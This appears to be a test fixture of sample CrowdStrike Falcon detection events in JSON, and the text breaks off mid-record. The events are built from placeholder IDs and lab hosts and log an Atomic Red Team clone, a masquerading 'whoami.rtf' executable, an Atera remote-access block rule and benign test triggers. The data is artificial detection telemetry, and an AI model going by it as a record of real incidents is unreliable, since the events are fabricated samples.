-{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":""}}
-{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"Hostname":"FRHOSTNAME","Name":"OnDemandScanfiletest","Severity":70,"FileName":"testfile.vmx","FilePath":"D:\\RECYCLER\\testpath\\testfile.vmx","SHA256String":"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections","AgentId":"1122025ec596478d830520000000000","CompositeId":"7da61e27e34f4b8394081896af72e2c7","LocalIP":"81.2.69.144","MACAddress":"88-44-66-77-11-22","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","HostGroups":"2a5927e82d644aa9,be74ccf2c2f444cf900","SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","Type":"ods","LocalIPv6":""}}
-{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"2a02:cf40::"}}
-{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532939,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584040000,"version":"1.0"},"event":{"ProcessStartTime":1742583971,"ProcessEndTime":1742583972,"ProcessId":43185188660,"ParentProcessId":43146803382,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"For evaluation only - benign, no action needed.","Severity":30,"SeverityName":"Low","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","CommandLine":"choice  /m crowdstrike_sample_detection","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424","LocalIP":"192.168.33.133","MACAddress":"00-0c-29-46-56-09","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, standard detection.","PatternDispositionValue":0,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"cmd.exe","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"explorer.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","HostGroups":"88888888888888888888888888888888","PatternId":10197,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","LocalIPv6":""}}
-{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532956,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584202000,"version":"1.0"},"event":{"ProcessStartTime":1742584138,"ProcessEndTime":1742584138,"ProcessId":43186863960,"ParentProcessId":43046029968,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"A process triggered a high severity custom rule.","Severity":70,"SeverityName":"High","FileName":"atera.exe.exe","FilePath":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","CommandLine":"\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\" ","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","IOCType":"hash_sha256","IOCValue":"0000000000000000000000000000000000000000000000000000000000000000","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080","LocalIP":"192.168.33.133","MACAddress":"00-ff-12-46-56-09","Tactic":"Custom Intelligence","Technique":"Indicator of Attack","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"userinit.exe","GrandParentCommandLine":"C:\\Windows\\system32\\userinit.exe","IOARuleInstanceID":"167","IOARuleInstanceVersion":2,"IOARuleName":"Initial Access via Remote Service (Atera) Block","IOARuleGroupName":"Custom IOA Group - Windows","HostGroups":"88888888888888888888888888888888","AssociatedFile":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","PatternId":41001,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","LocalIPv6":""}}
-{"event":{"AgentId":"4ebcabee560d4345b025d6c732656ba9","AggregateId":"aggind:4ebcabee560d4345b025d6c732656ba9:1237323","CommandLine":"./whoami.rtf","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048","DataDomains":"Endpoint","Description":"Anexecutablewasrunwithacontradictingfileextension","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"whoami.rtf","FilePath":"/home/devuser/whoami.rtf","GrandParentCommandLine":"sshd:devuser@pts/0","GrandParentImageFileName":"sshd","GrandParentImageFilePath":"/usr/sbin/sshd","Hostname":"navnit-test-instance","LocalIP":"10.128.0.24","LocalIPv6":"","LogonDomain":"","MACAddress":"42-01-0a-80-00-18","MD5String":"3e4129c7bb0c01793aa9ecad38ccb4d0","Name":"SuspiciousActivity","Objective":"KeepAccess","ParentCommandLine":"-bash","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1753351172854337800,"PatternDispositionDescription":"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":true,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":true,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":272,"PatternId":145,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1753352263,"ProcessId":1753352263802791400,"ProcessStartTime":1753352263,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490","Severity":50,"SeverityName":"Medium","SourceProducts":"FalconInsight","SourceVendors":"CrowdStrike","Tactic":"DefenseEvasion","Technique":"Masquerading","Type":"ldt","UserName":"devuser"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1753352333000,"eventType":"EppDetectionSummaryEvent","offset":2092190,"version":"1.0"}}
-{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_informational","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760","DataDomains":"Endpoint","Description":"An informational level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_medium","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"d53f596e5ea7117ac18aae9f9bd8a481","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_low","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43450917603,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10307,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43455859437,"ProcessStartTime":1752575381,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575448000,"eventType":"EppDetectionSummaryEvent","offset":2021281,"version":"1.0"}}
-{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_low","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776","DataDomains":"Endpoint","Description":"A low level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_high","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"86920ea0b350c9a3e3752a6aba6e1143","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_medium","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43448891811,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10306,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43450917603,"ProcessStartTime":1752575368,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575434000,"eventType":"EppDetectionSummaryEvent","offset":2021280,"version":"1.0"}}
-{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_high","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824","DataDomains":"Endpoint","Description":"A high level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"099d5a3c2f87817751337a9cf8d6a70b","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_critical","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43444774922,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10304,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43447659975,"ProcessStartTime":1752575345,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":70,"SeverityName":"High","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575421000,"eventType":"EppDetectionSummaryEvent","offset":2021278,"version":"1.0"}}
-{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_critical","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528","DataDomains":"Endpoint","Description":"A critical level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"bd5bfe63bc48507039f7e3afa5b01a70","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10303,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43444774922,"ProcessStartTime":1752575334,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":90,"SeverityName":"Critical","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575410000,"eventType":"EppDetectionSummaryEvent","offset":2021272,"version":"1.0"}}
-{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_medium","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744","DataDomains":"Endpoint","Description":"A medium level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_critical","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"645b4fecb42fb954858850fe127ceb98","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_high","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43447659975,"PatternDispositionDescription":"Detection, standard 